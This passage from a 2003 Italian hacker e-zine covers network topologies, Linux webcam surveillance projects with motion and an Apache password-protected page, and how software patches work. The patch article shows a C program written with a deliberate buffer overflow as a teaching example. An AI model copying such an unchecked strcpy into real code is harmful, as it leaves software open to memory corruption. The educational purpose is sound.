| Questa rete è detta così per la sua struttura ad anello, in pratica |
| ogni nodo della rete e collegato in maniera univoca mediante |
| connessione pp (point-point), al nodo adiacente, quindi ogni nodo sarà |
| legato in maniera unidirezionale ad almeno un altro nodo (figura 4). |
| Unidirezionale in quanto un pc non potrà comunicare con il pc che lo |
| precede senza aver prima attraversato tutti i nodi che |
| compongono "l'anello", fino a giungere al nodo col quale desidera |
| comunicare. |
| Per il motivo appena descritto ciascun nodo deve essere in grado di |
| confrontare il proprio indirizzo con quello che si trova sul messaggio |
| che viene trasmesso per agire di conseguenza. Cerchiamo di capire |
| meglio, osserviamo la figura 4. |
| |
| Figura 4. |
| |
| Pc1 ----> Pc2 ----> Pc3 |
| ^ | |
| | | |
| Pc6<----- Pc5 <---Pc4 |
| |
| Supponiamo che il Pc1 voglia comunicare con il Pc4, allora il Pc1 |
| (10.10.10.1) inizierà la comunicazione del messaggio, sul quale vi sarà |
| scritto l'indirizzo del Pc4 (10.10.10.4), ora il messaggio prima di |
| giungere al Pc4 dovrà necessariamente passare tramite i due nodi che lo |
| precedono ovvero il Pc2 ed il Pc3. Questi due nodi non faranno |
| nient'altro che andare a leggere l'indirizzo scritto nel messaggio e |
| confrontarlo con il proprio, essendo il Pc2 di indirizzo 10.10.10.2, |
| quindi non equivalente a quello scritto sul messaggio (ricordo che sul |
| messaggio vi è scritto l'indirizzo del Pc4, ovvero 10.10.10.4), invierà |
| il messaggio al nodo successivo ovvero al Pc3 il quale confronterà il |
| proprio indirizzo con quello del messaggio ma anche questa volta non si |
| equivalranno, quindi lo instraderà verso il Pc4 il quale farà la stessa |
| operazione di confronto ma in questo caso non ritrasmetterà |
| ulteriormente il messaggio in quanto è giunto a destinazione. |
| Il principale vantaggio è che l'instradamento in questo tipo di rete è |
| estremamente semplice in quanto ogni nodo deve semplicemente comunicare |
| in maniera unidirezionale con il nodo adiacente, ma il problema di |
| questa struttura è il rischio che il blocco di un solo nodo può portare |
| alla paralisi completa dell'intera rete, per i motivi precedentemente |
| illustrati. |
| |
| --- Rete a Stella --- |
| |
| Ed eccomi giunto a descrivere l'ultima delle topologie di rete che |
| tratterò, ovvero quella a stella (figura 5). Questa struttura si |
| caratterizza per la collocazione centrale di un "Pc Master",il quale |
| può smistare ed instradare i messaggi provenienti dagli altri "Pc |
| Slave", ad esso collegati. |
| Al pc centrale sono collegati in maniera bidirezionale tutti gli altri |
| pc della rete. In maniera bidirezionale in quanto ogni pc appartenente |
| alla rete non potrà comunicare in alcun modo con un altro pc se non |
| passando per il pc centrale, e quindi mandando dati al "Master" e |
| ricevendone solo ed esclusivamente dallo stesso. |
| |
| Figura 5. |
| |
| Pc1 Pc2 |
| \ / |
| \ / |
| Pc |
| Master |
| / \ |
| / \ |
| Pc3 Pc4 |
| |
| Pc Master: l'unità fondamentale della rete senza la quale la rete |
| cesserebbe di esistere. |
| Pc Slave: le unita subordinate all'unità centrale ovvero alla Master. |
| Principale debolezza di questa struttura è la dipendenza dal computer |
| Master, quindi nel caso questo cada, l'intera rete smetterà di |
| funzionare. |
| |
| |
| ------------- |
| Nel prossimo articolo parlerò dei punti lasciati in sospeso in questo |
| articolo. |
| Spero di essere stato di aiuto a tutti quelli che necessitavano di una |
| guida per apprendere i concetti basilari delle strutture di rete. |
| |
| ------------ |
| Author: l1l0 |
| e-mail: l1l0@autistici.org |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #09 - 01/06/2003 |
| I0, LiNUX ED UNA WEBCAM [ink] 0x08/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| "Io, Linux ed una webcam" |
| di inkompatible (inkompatible@yahoo.it) (C) 2003 |
| |
| Questo articolo è reperibile anche CORREDATO DI IMMAGINI in html presso |
| http://utenti.lycos.it/inkompatible |
| |
| In questo articolo vi spieghero' come divertirsi per mezzo di un |
| sistema Linux, una webcam supportata dal suddetto os e un po' di |
| fantasia. |
| |
| -- Indice -------------------------------------------------------------- |
| ------------------------------------------------------------------------ |
| 1 - La folgorazione |
| 2 - Il software |
| 3 - (La webcam) |
| 4 - Progetto 1: il controlla cancello |
| 5 - Progetto 2: come ti sorveglio casa da remoto |
| 6 - Ringraziamenti, saluti e conclusioni |
| |
| 1- La folgorazione ----------------------------------------------------- |
| ------------------------------------------------------------------------ |
| Stavo armeggiando come al mio solito con i cavi dietro il mio porta |
| computer quando, con il cavetto della webcam in mano, mi volto verso la |
| finestra retrostante, e vengo improvissamente folgorato dalla simpatica |
| immagine della mia webcam, appiccicata con lo scotch sul vetro della |
| finestra :) ; mi metto dunque a pensare a possibili applicazioni |
| pratiche della mia visione... |
| |
| |
| 2- Il software --------------------------------------------------------- |
| ------------------------------------------------------------------------ |
| Ma come dico sempre io: << tra il dire e il fare c'e' di mezzo |
| il software >> e quindi mi metto a smanettare in rete e cerco qua e la |
| qualcosa che mi possa servire da spunto: ovviamente mi imbatto subito |
| nel sito del video4linux (http://www.exploits.org/v4l) dove vedo per la |
| millesima volta il solito elenco di programmi che c'e' da sempre; noto |
| pero' un programma interessante che non avevo mai preso in |
| considerazione: motion (http://motion.technolust.cx). |
| Motion e' un programma (a mio parere molto ben fatto) che riesce a |
| "percepire" e a localizzare i movimenti all'interno di un flusso video |
| (che nel nostro caso viene da una webcam) e a salvarli in snapshot |
| formato immagine; anche io ho subito pensato ad un possibile impiego |
| come sistema di sicurezza (che mente ! :) ed infatti sono molti ad |
| utilizzarlo per questo scopo... gia' vedo la mia Philips Toucam Pro XS |
| "aggrappata" alla finestra che controlla chi viene :P. |
| |
| Adesso, oltre che a motion, dato che di cose ne vogliamo far tante, |
| abbiamo bisogno di qualche altro applicativo che non puo' mancare, non |
| solo in questa occasione, ma anche per l'uso "normale" di una webcam |
| su linux; sto' parlando di applicativi per il cosidetto "grabbing" |
| (prendere l'output della webcam e portarlo in snapshot). qui di seguito |
| ve ne consiglio alcuni che personalmente preferisco per l'efficenza e |
| la praticita': |
| |
| - camstream (http://www.smcc.demon.nl/camstream) |
| visualizzatore e grabber per X, (scritto in Qt). |
| |
| - vidcat (parte di w3cam: http://www.hdk-berlin.de/~rasca/w3cam) |
| grabber da riga di comando molto comodo non vi puo' mancare. |
| |
| - motv |
| visualizzatore che gira su X per chi non ha troppe pretese. |
| |
| - effectv (http://effectv.sourceforge.net) |
| visualizza l'output della webcam applicando ben 36 effetti (non e' |
| "utilissimo" ma e' molto divertente :D ; attenzione: richiede le |
| librerie SDL) |
| |
| |
| 3- (La webcam) --------------------------------------------------------- |
| ------------------------------------------------------------------------ |
| Approfitto, prima di iniziare, per fare una parentesi: do' per scontato |
| che voi abbiate una webcam funzionante, ma nel caso aveste una cam e |
| non sappiate come farla girare su Linux vi dico che l'operazione e' |
| relativamente semplice; vi bastera' fare un salto sul sito del |
| video4linux (www.eploits.org/v4l) e guardare se esiste un driver per la |
| vostra webcam. |
| Generalmente le Philips e le Logitech sono quasi tutte supportate e i |
| driver generici si trovano anche nei kernel nuovi |
| (/usr/src/linux/drivers/
usb); e' comunque ovvio che se avete una webcam |
| comprata all'ipercoop :P prodotta da una casa sconosciuta, l'unico modo |
| per farla girare e' utilizzarla su Windows... ma si tratta di casi |
| sporadici. |
| Indicativamente per rendere operativa la vostra webcam (sempre che sia |
| supportata) bisogna caricare i rispettivi moduli (se non si caricano |
| dovete ricompilare il kernel opportunamente): |
| |
| # modprobe usbcore |
| # modprobe usb-ohci (oppure usb-uhci o usb-ehci a seconda del bus) |
| # modprobe videodev |
| # modprobe nome_driver_appropriato (es: modprobe ov511) |
| |
| |
| Nota: tutte le prove sono state fatte su un sistema GNU/Linux Slackware |
| 8.1 e con una webcam Philis ToUcam pro XS (driver ov511) da root. |
| |
| |
| 4- Progetto 1: il controlla cancello ----------------------------------- |
| ------------------------------------------------------------------------ |
| Bene, adesso mettiamo in pratica tutto quello che sappiamo, e proviamo |
| a farci un "controlla cancello", o un "controlla finestra", o un |
| "controlla porta", o un "controlla computer"...inzomma "controlla |
| <quello che vi pare>"; avremo bisogno di motion (e' una buona occasione |
| per impararlo ad usare) e di qualcosa che ci segnali l'arrivo di |
| di qualcuno, come un riproduttore di file audio da riga di comando |
| (play). |
| |
| Prendete la vostra webcam (se e' necessario usate una prolunga usb) e |
| fissatela su una finestra, o di fronte alla porta, oppure lasciatela li' |
| vicino al computer a seconda di cosa volete fare; caricate poi tutti i |
| moduli per renderla operativa. |
| Adesso lasciate stare la webcam e fate un salto su |
| http://motion.sourceforge.net e scaricate la versione piu' aggiornata |
| di motion. |
| A questo punto leggiamoci il man di motion... noterete che questo bel |
| programma ha molte funzioni e impiegherete un bel po' ad impararlo ad |
| utilizzare, ma per ora a noi ci bastano le opzioni principali; prima di |
| tutto dovete sapere che motion (faccio riferimento alla versione 3.0.5) |
| si puo' configurare sia da riga di comando che tramite un motion.conf . |
| Quando lo installate infatti (prima del make) date una occhiata al |
| motion.conf nella dir dove avete spacchettato il tar.gz : quelle sono |
| le opzioni che il motion prendera' come default; io vi consiglio di |
| "commentarle" (con il #) tutte in modo da poter poi fare un vostro |
| motion.conf come piu' vi piace senza il pensiero dei settaggi di |
| default. |
| |
| Per il nostro progetto sara' opportuno scrivere un motion.conf (nella |
| dir in cui stiamo lavorando) come piu' ci torna comodo; il mio fa' |
| piu' o meno cosi': |
| |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| |
| # motion.conf personalizzato |
| |
| videodevice /dev/video0 # imposta la device di default |
| |
| target_dir shots # imposta la dir dove mettera' gli snapshot |
| # una volta rilevato un movimento |
| # (quella di default e' la dir corrente) |
| |
| quality 100 # imposta la qualita' degli snapshot JPEG da |
| # 0 a 100 (default 75) |
| |
| drawtext_user CANCELLO # imposta la scritta "CANCELLO" in basso a |
| # sinistra di ogni snapshot |
| |
| drawtext_changes on # attiva la notifica in basso a destra degli |
| # snapshot che indica il num. dei pixel |
| # in cambiamento |
| |
| drawtext_shots on # attiva la dicitura sugli snapshot |
| # (sotto in num. dei pixel) del tipo giorno, |
| # mese, anno, ora, minuti, secondi, num. del |
| # frame |
| |
| execute ./script.sh # imposta quale comando eseguire una volta |
| # percepito un "evento" (una sequenza di |
| # movimenti) |
| |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| |
| Il codice spiega da solo, man ci sono solo un paio di cose da |
| dire: nel caso del "execute ./script.sh", script.sh e' uno scriptino |
| shell che avvia un programma che legge un file audio .wav |
| pre-registrato che dice una cosa tipo << arriva qualcuno >>; il |
| contenuto dello script sarebbe: |
| |
| ~~~~~~~~~~~~~~~ |
| |
| #!/bin/sh |
| |
| play avviso.wav |
| |
| ~~~~~~~~~~~~~~~ |
| |
| ...ma voi potete farci quello che vi pare, ad esempio loggare in un |
| file l'evento (cosa piuttosto inutile dato che motion fa uno snapshot |
| con la data :D). |
| Comunque sappiate che tutte queste impostazioni si possono dare anche da |
| linea di comando (es: motion -d /dev/video0 -t shots) e che io ve le ho |
| presentate cosi' per un fatto di comodita'. |
| |
| Motion ha tantissime altre opzioni "secondarie" che sono spiegate |
| molto bene nel man; tra queste quelle che uso di piu' sono tutte da |
| riga di comando (sono infatti occasionali): |
| |
| -O comando # comando da eseguire una volta salvato lo snapshot |
| # (il nome dello snapshot .jpg viene dato come argomento) |
| |
| -L noise # specifica il "noise", ossia il disturbo dovuto |
| # alla bassa risoluzione delle webcam; piu' il numero e' |
| # alto meno il motion sara' sensibile nel percepire i |
| # movimenti |
| |
| -M address@address.com # manda una mail all'indirizzo specificato |
| # quando percepisce un movimento |
| |
| -N # non fa gli snapshot "normali" (per le prove) |
| |
| -Q # non fa il "beep" quando percepisce un movimento |
| |
| Direi che possono bastare. Per tutti gli altri comandi attaccatevi al |
| man :D . |
| |
| Una volta piazzata la cam, scritto il motion.conf e lo scriptino |
| (quello che che fa parire la voce registrata), mettete il .conf in una |
| dir temporanea (es: /mot), fate una dir per gli shots (es: /mot/shots), |
| aggiustate il livello delle casse, avviate motion, spengete lo schermo |
| (senno' consuma ! :D) e andate a guardare tutti i porno che vi pare, |
| tanto se torna mamma il computer vi avvisa :P ! |
| |
| |
| 5- Progetto 2: come ti sorveglio casa da remoto ------------------------ |
| ------------------------------------------------------------------------ |
| Adesso proviamo a fare una cosa un po' piu' complicata; avete bisogno |
| di: |
| |
| - apache funzionante |
| - un grabber (camstream, vidcat ecc.) |
| - un browser che supporta javascript |
| |
| Un po' di tempo fa' ho letto da qualche parte una cosa simile a |
| quella che vi sto per proporre e a suo tempo mi colpi' molto; mi e' |
| rimasta impressa, ma non ricordo come e dove l'ho letta (forse in rete |
| ? o su una rivista ?), quindi ve la ripropongo a modo mio (non so se |
| rimarro' fedele al testo originale). |
| |
| L'idea e' quella di tenere un grabber a fare snapshot su un file |
| definito in ciclo continuo (ogni 5/10 secondi) e di scrivere una pagina |
| html che con l'ausilio di javascript (aime' non abbiamo alternative...) |
| ricarichi ogni tot secondi l'immagine e la faccia vedere a centro |
| pagina. Ovviamente questo sistema si puo' utilizzare sia con il |
| computer connesso 24 ore su 24 (chi ha l'adsl flat se lo puo' |
| permettere), sia con l'mgetty che aspetta una chiamata sul modem |
| (preferibile per i 56K). |
| |
| Sappiate che riguardo a questa idea esistono molti programmi come |
| camserv e webcam_server che fanno proprio quello che vogliamo |
| realizzare noi... ma spesso sono noiosi da configurare, anche perche' |
| ci si deve limitare a cio' che ci pone il programma, mentre facendolo |
| da noi possiamo ampliare il nostro progetto con molte modifiche a |
| seconda della situazione in cui ci troviamo... |
| e comunque vi assicuro che fare qualcosa di proprio da molta piu' |
| soddisfazione che limitarsi a configurare un programma di altri. |
| |
| Passiamo all'azione. |
| Per comodita' presupporro' che il file che ci funge da intermediario |
| tra il grabber e la pagina web sia "shot.jpg" e che, sia la pagina web |
| che lo stesso file, si trovino in /var/www/htdocs/webcam |
| (/var/www/htdocs e' la dir di apache usata come DocumentRoot molto |
| spesso nelle configurazioni di default). |
| |
| Dobbiamo ora scegliere se utilizzare un grabber da linea di comando |
| (vidcat) o se da grafica (camstream). |
| |
| Nel primo caso ci bastera' fare uno scriptino che chiami ogni 5 secondi |
| (modificate il tempo a piacere) il grabber: |
| |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| |
| #!/bin/sh |
| #/var/www/htdocs/webcam/grab.sh |
| |
| while true |
| |
| do |
| |
| sleep 5s; |
| |
| # qui i comandi per effettuare il grab su shot.jpg |
| # es: vidcat -d /dev/video0 -f jpeg -o shot.jpg -q 100 |
| |
| done |
| |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| |
| Nel secondo caso invece ci bastera' configurare oppurtunamente il |
| programma dalla grafica; si prenda per esempio camstream: una volta |
| avviato (da un xterm posizionato su /var/www/htdocs/webcam) bastera' |
| avviare una sessione webcam e configurare il timer degli snapshots su 5 |
| secondi e il grabber del programma su shot.jpg . Bisognera' pero' in |
| questo caso lasciare camstream aperto fisso... non e' molto elegante ma |
| vi permette di vedere senza tanti marchingegni cosa sta' andando in cam |
| se siete a casa. |
| |
| Bene, adesso non rimane che scrivere la pagina web: |
| |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| |
| <html> |
| |
| <head> |
| <title>Webcam</title> |
| |
| <script language="JavaScript"> |
| function caricaShot(){ |
| theDate = new Date(); |
| url="shot.jpg"; |
| |
| url+="?x="; // sistema per ingannare la cache del |
| // browser |
| |
| url+=theDate.toString(10); |
| document.immagine.src=url; |
| theTimer=setTimeout("caricaShot()", 5000); |
| } |
| </script> |
| |
| </head> |
| |
| <body bgcolor=grey onLoad="javascript:caricaShot()"> |
| |
| <br><br> |
| <table border=1 align=center> |
| <tr><td><img src="shot.jpg" name="immagine"></td></tr> |
| </table> |
| |
| </body> |
| |
| </html> |
| |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| |
| Vi faccio notare l'astuto marchingegno utilizzato per ingannare la |
| cache del browser: si crea una var temporanea (x) che contiene la data e |
| l'ora che viene aggiunta al nome del file .pjg (es: |
| shot.jpg?x=Wed%20Jan%2001%202003%2015:24:06%20GMT+0100%20(CET)) in modo |
| che il browser ricarichi l'immagine senza rileggerla dalla cache (dato |
| che il nome del file e' sempre il medesimo). |
| |
| Ah, breve parentesi, il codice java per ingannare la cache non e' mio |
| :D (non sono cosi' bravo in java...anzi non lo sono per niente!) |
| ma dell'autore originale (e comunque se non era cosi' era molto |
| simile). |
| |
| ...Sarete poi voi ad abbellire la pagina con tutte le vostre cose (tipo |
| una scritta << webcam attiva >> o altre futilita' del genere :P). |
| |
| Adesso pero' prima di poter utilizzare il nostro stupendo sistema |
| dobbiamo risolvere qualche problemino con apache; infatti ci siamo |
| dimenticati di una cosa: siete proprio sicuri che vogliate che tutto il |
| mondo veda quello che vi succede in casa ? :D |
| Ci basta dunque settare apache in modo che protegga con password la dir |
| webcam oppure mettere un piccolo form di richiesta password in php |
| direttamente nella pagina web... ma dato che non tutti hanno php |
| configurato su apache vi consiglio di impostare a mano una protezione |
| direttamente sul web server; |
| allora creiamo intanto un file dove metteremo gli utenti e le password |
| per la directory /var/www/htdocs/webcam ed impostiamo un primo utente |
| per mezzo del programma apposito htpasswd : |
| |
| # htpasswd -c /etc/apache/pwd_webcam utente1 |
| New password: |
| Re-type new password: |
| Adding password for user utente1 |
| |
| una volta creato il file e impostato almeno un utente modifichiamo l' |
| httpd.conf a dovere inserendo la dicitura: |
| |
| <Location /webcam> |
| AuthType Basic |
| AuthName "Webcam password" |
| AuthUserFile /etc/apache/pwd_webcam |
| Require valid-user |
| </Location> |
| |
| in questo modo apache richiedera', ogni qualvolta si voglia accedere |
| alla directory webcam, gli appropriati utente e password. Volendo |
| potrete aggiungere piu utenti e password nel file pwd_webcam se volete |
| per esempio dare accesso temporaneamente ad altre persone. |
| |
| Alla fine avrete un sistema economico e sicuro per controllare casa |
| vostra da remoto! |
| |
| 6- Ringraziamenti, saluti e conclusioni -------------------------------- |
| ------------------------------------------------------------------------ |
| Vi dico gia' che spero di poter scrivere nel prossimo numero di |
| OndaQuadra un altro articolo (che suonera' tipo "Io, Linux ed una |
| webcam |
| parteseconda") nel quale vi illustrero' come ampliare il "Progetto 2" in |
| modo da poter vedere da remoto i "movimenti registrati" per mezzo di |
| motion e un po' di php. |
| |
| Prima di terminare permettetemi di fare un ringraziamento al mio amico |
| nomero che mi ha mandato i 7 cd di "quella distro che non ho i soldi per |
| pagare" :) e che mi fa vincere a scacchi ;) ; poi ancora un saluto a |
| JEYoNE che e' sempre disponibile e che era tanto entusiasta del mio |
| articolo e mi ha incitato a farlo pubblicare. |
| |
| Un grazie ancora a quel geniaccio di Jeroen Vreeken che ha scritto il |
| motion...e al "vi" che mi e' sempre fedele. |
| |
| Grazie di aver letto questo articolo che con cotanta dedizione vi ho |
| preparato e spero di trovarvi numerosi anche nel prossimo numero. |
| |
| Per qualunque problema, consiglio, commento ecc. non esitate a |
| contattarmi: inkompatible@yahoo.it |
| |
| Questo articolo è reperibile anche CORREDATO DI IMMAGINI in html presso |
| http://utenti.lycos.it/inkompatible |
| |
| - inkompatible - |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #09 - 01/06/2003 |
| PATCH ?!? MA Si MANGiAN0? [spyro] 0x09/0x20 |
+--------------------------------------------------------------------------+
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| |
| / - |
| |--> /Disclaimer |
| |--> /Introduzione |
| |--> /Teoria_e_Requisiti |
| |--> /Creazione_manuale_patch |
| |--> /Creazione_automatica_patch |
| |--> /Ringraziamenti_e_saluti |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| bash# cd /Disclaimer |
| bash# cat disclaimer.txt |
| |
| Tutto quello che riporterò qui di seguito è di solo scopo informativo. |
| Pertanto se causerete danni a voi o verso terzi la responsabilità è |
| solo vostra. |
| Al giorno d'oggi la rete purtroppo è piena di lamer e io con questo |
| testo non voglio contribuire alla nascita di nuovi, quindi pensateci |
| due volte prima di mettere in atto queste informazioni. |
| Io ho scritto questo testo soltanto x mettere in evidenza i problemi |
| di sicurezza riguardanti la rete. |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| bash# cd /Introduzione |
| bash# cat introduzione.txt |
| |
| Quanto tempo...rieccomi a scrivere qualcosa. |
| Oggi cercherò di spiegarvi al meglio un argomento fondamentale nel |
| campo della sicurezza, ovvero capire, usare, creare le patch per i |
| nostri amati programmi. |
| Premetto che mi baserò sul sistema linux. |
| Come avrete notato sulle varie mailinglist, forum, siti web, ecc.. |
| le case scrittrici di software rilasciano spesso queste famose patch |
| per i propri programmi. |
| Il perchè è presto detto, ovvero, i software sono programmati da |
| persone e siccome nessuno è perfetto, ci si imbatte spesso in |
| errori(bug) all'eseguzione o in alcune funzioni di determinati |
| programmi. |
| Bug che spesso rendono possibili comandi arbitrari da parte di utenti |
| indesiderati verso la nostra macchina. |
| Una volta scovato un determinato bug su un programma, gli stessi ben |
| amati programmatori corrono al riparo correggendo il codice sorgente |
| del software. |
| Non potendo, logicamente, far uscire una versione nuova del programma |
| per ogni ritocco che le viene attuato, vengono rilasciate queste famose |
| patch. |
| Andiamo a vedere cosa sono, come sono strutturare, come agiscono,ecc... |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| bash# cd /Teoria_e_Requisiti |
| bash# cat teoria_e_requisiti.txt |
| |
| Le patch sono dei comunissimi file di testo che hanno un propria |
| struttura e logica di funzionamento. |
| Oltre a istruzioni basilari, una patch contiente le stringhe del codice |
| sorgente originale di un tale programma, e le istruzioni nuove che |
| andranno a sostituirsi con quelle vecchie. |
| Logicamente non viene riportato l'intero sorgente originale, ma solo |
| le istruzioni che causano il o i bug. |
| Vi propongo un esempio analizzando una patch rilasciata per il demone |
| ftp: wuftpd |
| |
| ------- Inizio Patch: -------- |
| |
| Index: src/ftpd.c |
| =================================================================== |
| RCS file: /cvsroot/wu-ftpd/src/ftpd.c,v |
| retrieving revision 1.113 |
| diff -u -r1.113 ftpd.c |
| --- src/ftpd.c 2000/07/07 22:17:38 1.113 |
| +++ src/ftpd.c 2000/08/29 17:26:23 |
| @@ -7274 +7274 @@ |
| int which; |
| struct aclmember *entry = NULL; |
| (void) acl_getclass(class); |
| - while (getaclentry("port-allow", &entry)) { |
| + while (getaclentry("pasv-allow", &entry)) { |
| if ((ARG0 != NULL) && (strcasecmp(class, ARG0) == 0)) |
| for (which = 1; (which < MAXARGS) && (ARG[which] != NULL); which++) { |
| |
| if (hostmatch(ARG[which], remoteaddr, NULL)) |
| |
| |
| -------- Fine Patch --------- |
| |
| La patch comincia ad essere interpretata dalle stringhe dove viene |
| dichiarato la fine della scrittura del vecchio sorgente con relativo |
| percorso: |
| |
| --- src/ftpd.c 2000/07/07 22:17:38 1.113 |
| |
| I tre meno stanno a indicare che le modifiche andranno ad effettuarsi |
| sul file che stanno nella directory src/ , quindi questo fa |
| intendere che questa patch andrà spostata e eseguita nella |
| directory principale del pacchetto del software, infatti: |
| |
| bash-2.05a$ cd wu-ftpd-2.6.1 |
| - |
| bash-2.05a$ ls |
| CHANGES COPYRIGHT INSTALL Makefile.in README.AUTOCONF |
| config.guess config.h.noac configure doc makefiles |
| support CONTRIBUTORS ERRATA LICENSE README build |
| config.h.in config.sub configure.in install-sh src util |
| - |
| bash-2.05a$ ls -l src/ftpd.c |
| -rw-r--r-- 1 spyro users 192158 Jul 1 2000 src/ftpd.c |
| bash-2.05a$ |
| |
| Come potrete notare il percorso del sorgente ftpd.c coincide, |
| mentre la data dell'ultima modifica no. |
| Questo perchè penso che la data all'interno della patch si basa |
| su quella precedentemente rilasciata. |
| Torniamo al codice. |
| Subito dopo troviamo: |
| |
| +++ src/ftpd.c 2000/08/29 17:26:23 |
| |
| Vediamo che i 3 + servono ad indicare il rilascio della patch. |
| |
| Tutto quello che sta sopra: |
| |
| Index: src/ftpd.c |
| =================================================================== |
| RCS file: /cvsroot/wu-ftpd/src/ftpd.c,v |
| retrieving revision 1.113 |
| diff -u -r1.113 ftpd.c |
| |
| viene visualizzato come output di informazione al momento |
| dell'eseguzione della patch con particolari flag; |
| Approfondirò meglio in seguito. |
| |
| @@ -7274 +7274 @@ |
| |
| Questa istruzione indica che le stringhe di codice che seguiranno |
| dovranno essere effettuate dalla riga 7274 del codice sorgente |
| originale sostituendo l'istruzione esistente con quella nuova. |
| Infine: |
| |
| int which; |
| struct aclmember *entry = NULL; |
| (void) acl_getclass(class); |
| - while (getaclentry("port-allow", &entry)) { |
| + while (getaclentry("pasv-allow", &entry)) { |
| if ((ARG0 != NULL) && (strcasecmp(class, ARG0) == 0)) |
| for (which = 1; (which < MAXARGS) && (ARG[which] != |
| NULL); which++) { |
| |
| if (hostmatch(ARG[which], remoteaddr, NULL)) |
| |
| la stringa che inizia con il meno, è quella che sarà sostituita con |
| quella nuova che inizia con il più. |
| La parte del codice che sta prima e dopo: |
| |
| - while (getaclentry("port-allow", &entry)) { |
| + while (getaclentry("pasv-allow", &entry)) { |
| |
| Non sono altro che le istruzioni del codice sorgente che non verranno |
| assolutamente intaccate, ma saranno usate come ulteriore punto di |
| riferimento per la sostituzione delle stringhe precedentemente |
| riportate. |
| |
| Come avete potuto notare, non è difficile capire il suo funzionamento |
| e tanto meno la sua creazione. |
| Prima di passare alla spiegazione per la crezione di queste patch, |
| vediamo come si installano. |
| |
| Io ho preso come software: wuftpd-2.6.1 |
| E come Patch: pasv-port-allow-correction.patch |
| |
| Ecco gli url per scaricare entrambi i file: |
| |
| Demone: ftp://ftp.wu-ftpd.org/pub/wu-ftpd/wu-ftpd-2.6.1.tar.gz |
| |
| Patch: |
| ftp://ftp.wu-ftpd.org/pub/wu-ftpd/patches/apply-to-2.6.1/pasv-port- |
| allow-correction.patch |
| |
| Dopo che avete scaricato iniziamo la procedura: |
| |
| tar xvfz wu-ftpd-2.6.1.tar.gz |
| cd wu-ftpd-2.6.1 |
| |
| Adesso ci spostiamo la patch e usiamo il programma che guarda caso |
| si chiama patch, per installarla. |
| Per maggiori informazioni sul programma patch vi rimando al suo man |
| (man patch), ecco la sintassi di uso: |
| |
| NAME |
| patch - apply a diff file to an original |
| |
| SYNOPSIS |
| patch [options] [originalfile [patchfile]] |
| |
| but usually just |
| |
| patch -pnum <patchfile |
| |
| Andreamo ad usare la flag: -p |
| |
| Sempre dal man: |
| |
| -pnum or --strip=num |
| |
| Strip the smallest prefix containing num leading slashes |
| from each file name found in the patch file. A sequence of |
| one or more adjacent slashes is counted as a single slash. |
| This controls how file names found in the patch file are treated, |
| in case you keep your files in a different directory than the person |
| who sent out the patch. |
| For example, supposing the file name in the patch file was |
| |
| /u/howard/src/blurfl/blurfl.c |
| |
| setting -p0 gives the entire file name unmodified, -p1 gives |
| |
| u/howard/src/blurfl/blurfl.c |
| |
| without the leading slash, -p4 gives |
| |
| blurfl/blurfl.c |
| |
| and not specifying -p at all just gives you blurfl.c. |
| Whatever you end up with is looked for either in the current |
| directory, or the directory specified by the -d option. |
| |
| La flag -p con relativo numero serve per specificare ulteriori |
| modifiche del nome alla patch o no. |
| |
| Mettiamo in pratica la sintassi: |
| |
| bash-2.05a$ patch -p0 <pasv-port-allow-correction.patch |
| patching file src/ftpd.c |
| bash-2.05a$ |
| |
| Se invece vogliamo specificare un altro percorso del file da |
| patchare, useremo -p1 e lo immetteremo alla richiesta del |
| programma. |
| Ottimo, il sorgente è stato modificato con successo, per sicurezza |
| controllare con qualche editor il sorgente e fare una ricerca al |
| suo interno. |
| |
| Adesso per l'uso del demone patchato, basta installarlo con la |
| normalissima procedura. |
| Questo ci fa capire che ogni volta che esce una patch per un |
| determinato programma, dobbiamo scaricarla, inserirla |
| nel pacchetto dei sorgenti originali e ricompilare il tutto; |
| Altrimenti scaricare il pacchetto apposito per la vostra distro |
| con le patch già applicate. |
| Guardando il codice di una patch viene da pensare che è pallosissimo |
| crearle se le modifiche da fare sul sorgente del programma originale |
| sono molte. |
| Per fortuna ci viene in contro un utilissimo programma già |
| compreso nel pacchetto della nostra linux box. |
| Vediamo come creare queste benedette patch. |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| bash# cd /Creazione_manuale_patch |
| bash# cat creazione_manuale_patch.txt |
| |
| Come esempio creeremo un semplicissimo programmino in C che conterrà |
| un evidente errore nel codice sorgente il quale provocherà un |
| buffer overflow. |
| Non voglio dilungarmi sulla spiegazione del buffer overflow, anche |
| xchè ne parlano tutti e in giro si trovano miliardi di documetni a |
| riguardo. |
| |
| ---- Codice Bug ----- |
| |
| #include <stdio.h> |
| int main() { |
| char buf[3]; |
| strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); |
| return 0; |
| } |
| |
| --- End Of buff.c ----- |
| |
| Compiliamolo e lanciamolo: |
| |
| bash-2.05a$ gcc -o buff1 buff.c |
| bash-2.05a$ ./buff1 |
| Segmentation fault |
| bash-2.05a$ |
| |
| Ecco, come dicevo prima, il programmino ha un serio bug, ovvero và |
